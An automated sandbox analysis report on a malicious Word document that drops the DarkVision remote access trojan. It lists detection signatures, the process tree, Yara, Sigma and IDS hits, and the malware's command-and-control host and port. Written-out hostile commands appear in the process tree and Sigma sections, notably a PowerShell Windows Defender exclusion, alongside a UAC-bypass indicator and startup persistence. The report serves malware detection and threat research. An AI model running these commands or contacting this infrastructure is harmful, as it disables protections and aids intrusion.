Edit tour

Windows Analysis Report
Inquiry List.doc

Overview

General Information

Sample name:	Inquiry List.doc
Analysis ID:	1585296
MD5:	3aa187a17e25bd67e3026b0e064fd308
SHA1:	6edae74a7702bd0e0f346973f20fadb6498f57a0
SHA256:	7977ee7a05a814e726e1b6e9d1747ff3ad84495d15a45d3f5ca59d20a9e8d383
Tags:	docuser-abuse_ch
Infos:

Detection

DarkVision Rat

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Document exploit detected (creates forbidden files)

Document exploit detected (drops PE files)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected DarkVision Rat

Yara detected UAC Bypass using CMSTP

Adds a directory exclusion to Windows Defender

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Document contains an embedded VBA with functions possibly related to HTTP operations

Document exploit detected (process start blacklist hit)

Drops executables to the windows directory (C:\Windows) and starts them

Found evasive API chain (may stop execution after checking mutex)

Found evasive API chain checking for user administrative privileges

Hides threads from debuggers

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Maps a DLL or memory area into another process

Office process drops PE file

Office process queries suspicious COM object (likely to drop second stage)

PE file contains section with special chars

Potentially malicious time measurement code found

Searches for specific processes (likely to inject)

Sigma detected: File With Uncommon Extension Created By An Office Application

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Switches to a custom stack to bypass stack traces

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Uses dynamic DNS services

Abnormal high CPU Usage

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to query locales information (e.g. system language)

Contains functionality to retrieve information about pressed keystrokes

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Document contains an embedded VBA macro which executes code when the document is opened / closed

Document contains embedded VBA macros

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found evasive API chain (may stop execution after accessing registry keys)

Found evasive API chain (may stop execution after checking a module file name)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Powershell Defender Exclusion

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Office Outbound Connections

Stores files to the Windows start menu directory

Stores large binary data to the registry

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

WINWORD.EXE (PID: 7368 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding MD5: 1A0C2C2E7D9C4BC18E91604E9B0C7678)

brightness.exe (PID: 7888 cmdline: C:\Windows\SysWOW64\brightness.exe MD5: 9BB6B2817EF5A1367529506EAF619F0F)

cmd.exe (PID: 8032 cmdline: cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows' MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8080 cmdline: powershell.exe Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows' MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

windows.exe (PID: 8164 cmdline: "C:\ProgramData\windows\windows.exe" {D8E15931-E2AD-40B5-A4D1-41BD1741249E} MD5: 9BB6B2817EF5A1367529506EAF619F0F)

cmd.exe (PID: 7600 cmdline: cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows' MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7584 cmdline: powershell.exe Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows' MD5: 04029E121A0CFA5991749937DD22A1D9)

explorer.exe (PID: 7572 cmdline: "C:\Windows\explorer.exe" MD5: 662F4F92FDE3557E86D110526BB578D5)

cmd.exe (PID: 5024 cmdline: C:\Windows\system32\cmd.exe /c ""C:\ProgramData\{A6378F27-E3E4-43B5-A4A9-3CD42AEFDEDB}\{01CD18C6-8DB4-4D19-901B-142FFEF41E7A}.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7920 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7976 cmdline: cmd /c start "" "C:\ProgramData\windows\windows.exe" {5EED0EA3-A73E-442A-9D20-84320F1AFCBA} MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

windows.exe (PID: 7992 cmdline: "C:\ProgramData\windows\windows.exe" {5EED0EA3-A73E-442A-9D20-84320F1AFCBA} MD5: 9BB6B2817EF5A1367529506EAF619F0F)

cleanup

Malware Configuration

Threatname: DarkVision Rat

{"C2": "acuweld.ddns.net", "Port": 3440}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000009.00000002.4252785652.0000000000D3A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
00000009.00000002.4252785652.0000000000D3A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000015.00000002.2051515991.0000000000921000.00000040.00000001.01000000.00000005.sdmp	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
00000015.00000002.2051515991.0000000000921000.00000040.00000001.01000000.00000005.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000000F.00000002.4251965321.0000000002E88000.00000002.00001000.00020000.00000000.sdmp	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
0000000F.00000002.4251965321.0000000002E88000.00000002.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: brightness.exe PID: 7888	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
Process Memory Space: brightness.exe PID: 7888	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: windows.exe PID: 8164	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
Process Memory Space: windows.exe PID: 8164	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: explorer.exe PID: 7572	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
Process Memory Space: explorer.exe PID: 7572	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: windows.exe PID: 7992	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
Process Memory Space: windows.exe PID: 7992	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Click to see the 13 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
9.2.windows.exe.d3cfb0.1.raw.unpack	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
9.2.windows.exe.d3cfb0.1.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
9.2.windows.exe.d3cfb0.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x36ce8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x36c18:$s1: CoGetObject 0x36cb0:$s2: Elevation:Administrator!new:
9.2.windows.exe.d3cfb0.1.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
9.2.windows.exe.d3cfb0.1.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x360e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x36018:$s1: CoGetObject 0x360b0:$s2: Elevation:Administrator!new:
15.2.explorer.exe.2e50000.0.unpack	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
15.2.explorer.exe.2e50000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
15.2.explorer.exe.2e50000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x36ce8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x36c18:$s1: CoGetObject 0x36cb0:$s2: Elevation:Administrator!new:
21.2.windows.exe.920000.0.unpack	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
21.2.windows.exe.920000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
21.2.windows.exe.920000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x31980:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x318c0:$s1: CoGetObject 0x31948:$s2: Elevation:Administrator!new:
9.2.windows.exe.920000.0.unpack	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
9.2.windows.exe.920000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
9.2.windows.exe.920000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x31980:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x318c0:$s1: CoGetObject 0x31948:$s2: Elevation:Administrator!new:
5.2.brightness.exe.2c0000.0.unpack	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
5.2.brightness.exe.2c0000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
5.2.brightness.exe.2c0000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x31980:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x318c0:$s1: CoGetObject 0x31948:$s2: Elevation:Administrator!new:
Click to see the 12 entries

Sigma Signatures

System Summary

Sigma detected: File With Uncommon Extension Created By An Office Application

Source: File created

Author: Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule), Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, ProcessId: 7368, TargetFilename: C:\Windows\SysWOW64\brightness.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows', CommandLine: cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows', CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Windows\SysWOW64\brightness.exe, ParentImage: C:\Windows\SysWOW64\brightness.exe, ParentProcessId: 7888, ParentProcessName: brightness.exe, ProcessCommandLine: cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows', ProcessId: 8032, ProcessName: cmd.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Windows\explorer.exe, ProcessId: 7572, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\{CE5FE0A8-A9F0-4F3E-AFBA-6983C4611B86}.lnk

Sigma detected: Suspicious Office Outbound Connections

Source: Network Connection

Author: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.4, DestinationIsIpv6: false, DestinationPort: 49737, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, Initiated: true, ProcessId: 7368, Protocol: tcp, SourceIp: 87.120.113.91, SourceIsIpv6: false, SourcePort: 80

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows', CommandLine: powershell.exe Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows', CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows', ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 8032, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows', ProcessId: 8080, ProcessName: powershell.exe

Suricata Signatures

ET MALWARE Win32/DarkVision RAT CnC Checkin M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-07T13:25:44.805327+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49749	85.31.47.116	3440	TCP
2025-01-07T13:25:46.329475+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49752	85.31.47.116	3440	TCP
2025-01-07T13:25:47.112306+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49753	85.31.47.116	3440	TCP
2025-01-07T13:25:47.926178+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49755	85.31.47.116	3440	TCP
2025-01-07T13:25:48.720376+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49757	85.31.47.116	3440	TCP
2025-01-07T13:25:49.516668+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49758	85.31.47.116	3440	TCP
2025-01-07T13:26:51.522736+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49990	85.31.47.116	3440	TCP
2025-01-07T13:26:53.072274+0100	2045618	1	A Network Trojan was detected	192.168.2.4	50001	85.31.47.116	3440	TCP
2025-01-07T13:26:53.907619+0100	2045618	1	A Network Trojan was detected	192.168.2.4	50007	85.31.47.116	3440	TCP
2025-01-07T13:26:54.740599+0100	2045618	1	A Network Trojan was detected	192.168.2.4	50013	85.31.47.116	3440	TCP
2025-01-07T13:26:55.524525+0100	2045618	1	A Network Trojan was detected	192.168.2.4	50019	85.31.47.116	3440	TCP
2025-01-07T13:26:56.306714+0100	2045618	1	A Network Trojan was detected	192.168.2.4	50025	85.31.47.116	3440	TCP
2025-01-07T13:27:59.416988+0100	2045618	1	A Network Trojan was detected	192.168.2.4	50033	85.31.47.116	3440	TCP
2025-01-07T13:28:00.985869+0100	2045618	1	A Network Trojan was detected	192.168.2.4	50034	85.31.47.116	3440	TCP
2025-01-07T13:28:01.786637+0100	2045618	1	A Network Trojan was detected	192.168.2.4	50035	85.31.47.116	3440	TCP
2025-01-07T13:28:02.590128+0100	2045618	1	A Network Trojan was detected	192.168.2.4	50036	85.31.47.116	3440	TCP
2025-01-07T13:28:03.385735+0100	2045618	1	A Network Trojan was detected	192.168.2.4	50037	85.31.47.116	3440	TCP
2025-01-07T13:28:04.199920+0100	2045618	1	A Network Trojan was detected	192.168.2.4	50038	85.31.47.116	3440	TCP
2025-01-07T13:29:05.713565+0100	2045618	1	A Network Trojan was detected	192.168.2.4	50039	85.31.47.116	3440	TCP
2025-01-07T13:29:07.227985+0100	2045618	1	A Network Trojan was detected	192.168.2.4	50040	85.31.47.116	3440	TCP
2025-01-07T13:29:08.038749+0100	2045618	1	A Network Trojan was detected	192.168.2.4	50041	85.31.47.116	3440	TCP
2025-01-07T13:29:08.897444+0100	2045618	1	A Network Trojan was detected	192.168.2.4	50042	85.31.47.116	3440	TCP
2025-01-07T13:29:09.686218+0100	2045618	1	A Network Trojan was detected	192.168.2.4	50043	85.31.47.116	3440	TCP
2025-01-07T13:29:10.504567+0100	2045618	1	A Network Trojan was detected	192.168.2.4	50044	85.31.47.116	3440	TCP

ET MALWARE Win32/DarkVision RAT CnC Checkin M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-07T13:25:45.897613+0100	2045619	1	A Network Trojan was detected	192.168.2.4	49749	85.31.47.116	3440	TCP
2025-01-07T13:26:52.621161+0100	2045619	1	A Network Trojan was detected	192.168.2.4	49990	85.31.47.116	3440	TCP
2025-01-07T13:28:00.537210+0100	2045619	1	A Network Trojan was detected	192.168.2.4	50033	85.31.47.116	3440	TCP
2025-01-07T13:29:06.790985+0100	2045619	1	A Network Trojan was detected	192.168.2.4	50039	85.31.47.116	3440	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Inquiry List.doc

Avira: detected

Antivirus detection for dropped file

Source: C:\Windows\SysWOW64\brightness.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\ProgramData\windows\windows.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 15.2.explorer.exe.2e50000.0.unpack

Malware Configuration Extractor: DarkVision Rat {"C2": "acuweld.ddns.net", "Port": 3440}

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\windows\windows.exe	ReversingLabs: Detection: 44%
Source: C:\Windows\SysWOW64\brightness.exe	ReversingLabs: Detection: 44%

Multi AV Scanner detection for submitted file

Source: Inquiry List.doc	Virustotal: Detection: 60%			Perma Link
Source: Inquiry List.doc	ReversingLabs: Detection: 55%

Machine Learning detection for dropped file

Source: C:\Windows\SysWOW64\brightness.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\windows\windows.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Inquiry List.doc

Joe Sandbox ML: detected

Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002DC031 CryptReleaseContext,CryptDestroyHash,	5_2_002DC031
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002DC00C CryptReleaseContext,CryptDestroyHash,	5_2_002DC00C
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002C5140 LocalAlloc,_memset,CryptBinaryToStringW,CryptBinaryToStringW,_memset,__snwprintf,LocalFree,WaitForSingleObject,RtlExitUserThread,_memset,_memset,_memset,_memset,__snwprintf,WaitForMultipleObjects,WaitForSingleObject,GetExitCodeProcess,WaitForSingleObject,WaitForSingleObject,CloseHandle,CloseHandle,LocalFree,LocalFree,CloseHandle,CloseHandle,	5_2_002C5140
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002DBF00 CryptAcquireContextW,CryptCreateHash,WaitForSingleObject,CryptHashData,CryptHashData,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,CryptReleaseContext,CryptDestroyHash,	5_2_002DBF00
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002DBFB6 CryptReleaseContext,CryptDestroyHash,	5_2_002DBFB6
Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002DBFD9 CryptReleaseContext,CryptDestroyHash,	5_2_002DBFD9
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_0093C00C CryptReleaseContext,CryptDestroyHash,	9_2_0093C00C
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_0093C031 CryptReleaseContext,CryptDestroyHash,	9_2_0093C031
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_00925140 LocalAlloc,_memset,CryptBinaryToStringW,CryptBinaryToStringW,_memset,__snwprintf,LocalFree,WaitForSingleObject,RtlExitUserThread,_memset,_memset,_memset,_memset,__snwprintf,WaitForMultipleObjects,WaitForSingleObject,GetExitCodeProcess,WaitForSingleObject,WaitForSingleObject,CloseHandle,CloseHandle,LocalFree,LocalFree,CloseHandle,CloseHandle,	9_2_00925140
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_0093BFB6 CryptReleaseContext,CryptDestroyHash,	9_2_0093BFB6
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_0093BFD9 CryptReleaseContext,CryptDestroyHash,	9_2_0093BFD9
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_0093BF00 CryptAcquireContextW,CryptCreateHash,WaitForSingleObject,CryptHashData,CryptHashData,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,CryptReleaseContext,CryptDestroyHash,	9_2_0093BF00
Source: C:\Windows\explorer.exe	Code function: 15_2_02E6DAD0 CryptAcquireContextW,CryptCreateHash,WaitForSingleObject,CryptHashData,CryptHashData,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,CryptReleaseContext,CryptDestroyHash,	15_2_02E6DAD0
Source: C:\Windows\explorer.exe	Code function: 15_2_02E6DBEE CryptReleaseContext,CryptDestroyHash,	15_2_02E6DBEE
Source: C:\Windows\explorer.exe	Code function: 15_2_02E6DBC7 CryptReleaseContext,CryptDestroyHash,	15_2_02E6DBC7
Source: C:\Windows\explorer.exe	Code function: 15_2_02E553B0 LocalAlloc,lstrcpyW,lstrcpyW,lstrcpyW,lstrcpyW,lstrcpyW,lstrcpyW,lstrcpyW,CryptBinaryToStringW,CryptBinaryToStringW,lstrcpyW,LocalFree,WaitForSingleObject,RtlExitUserThread,WaitForMultipleObjects,WaitForSingleObject,GetExitCodeProcess,WaitForSingleObject,WaitForSingleObject,CloseHandle,CloseHandle,LocalFree,LocalFree,CloseHandle,CloseHandle,	15_2_02E553B0
Source: C:\Windows\explorer.exe	Code function: 15_2_02E6DC5F CryptReleaseContext,CryptDestroyHash,	15_2_02E6DC5F
Source: C:\Windows\explorer.exe	Code function: 15_2_02E6DC2A CryptReleaseContext,CryptDestroyHash,	15_2_02E6DC2A
Source: C:\ProgramData\windows\windows.exe	Code function: 21_2_0093C00C CryptReleaseContext,CryptDestroyHash,	21_2_0093C00C
Source: C:\ProgramData\windows\windows.exe	Code function: 21_2_0093C031 CryptReleaseContext,CryptDestroyHash,	21_2_0093C031
Source: C:\ProgramData\windows\windows.exe	Code function: 21_2_00925140 LocalAlloc,_memset,CryptBinaryToStringW,CryptBinaryToStringW,_memset,__snwprintf,LocalFree,WaitForSingleObject,RtlExitUserThread,_memset,_memset,_memset,_memset,__snwprintf,WaitForMultipleObjects,WaitForSingleObject,GetExitCodeProcess,WaitForSingleObject,WaitForSingleObject,CloseHandle,CloseHandle,LocalFree,LocalFree,CloseHandle,CloseHandle,	21_2_00925140
Source: C:\ProgramData\windows\windows.exe	Code function: 21_2_0093BFB6 CryptReleaseContext,CryptDestroyHash,	21_2_0093BFB6
Source: C:\ProgramData\windows\windows.exe	Code function: 21_2_0093BFD9 CryptReleaseContext,CryptDestroyHash,	21_2_0093BFD9
Source: C:\ProgramData\windows\windows.exe	Code function: 21_2_0093BF00 CryptAcquireContextW,CryptCreateHash,WaitForSingleObject,CryptHashData,CryptHashData,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,CryptReleaseContext,CryptDestroyHash,	21_2_0093BF00

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 9.2.windows.exe.d3cfb0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.windows.exe.d3cfb0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.explorer.exe.2e50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.windows.exe.920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.windows.exe.920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.brightness.exe.2c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.4252785652.0000000000D3A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2051515991.0000000000921000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.4251965321.0000000002E88000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: brightness.exe PID: 7888, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: windows.exe PID: 8164, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 7572, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: windows.exe PID: 7992, type: MEMORYSTR

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002D3620 _memset,_memset,SHGetKnownFolderPath,__snwprintf,__snwprintf,CoTaskMemFree,_memset,__snwprintf,FindFirstFileW,_memset,__snwprintf,DeleteFileW,FindNextFileW,FindClose,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,	5_2_002D3620
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_00933620 _memset,_memset,SHGetKnownFolderPath,__snwprintf,__snwprintf,CoTaskMemFree,_memset,__snwprintf,FindFirstFileW,_memset,__snwprintf,DeleteFileW,FindNextFileW,FindClose,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,	9_2_00933620
Source: C:\Windows\explorer.exe	Code function: 15_2_02E597F0 SHGetKnownFolderPath,lstrlenW,CoTaskMemFree,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,	15_2_02E597F0
Source: C:\ProgramData\windows\windows.exe	Code function: 21_2_00933620 _memset,_memset,SHGetKnownFolderPath,__snwprintf,__snwprintf,CoTaskMemFree,_memset,__snwprintf,FindFirstFileW,_memset,__snwprintf,DeleteFileW,FindNextFileW,FindClose,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,	21_2_00933620

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\

Software Vulnerabilities

Document exploit detected (creates forbidden files)

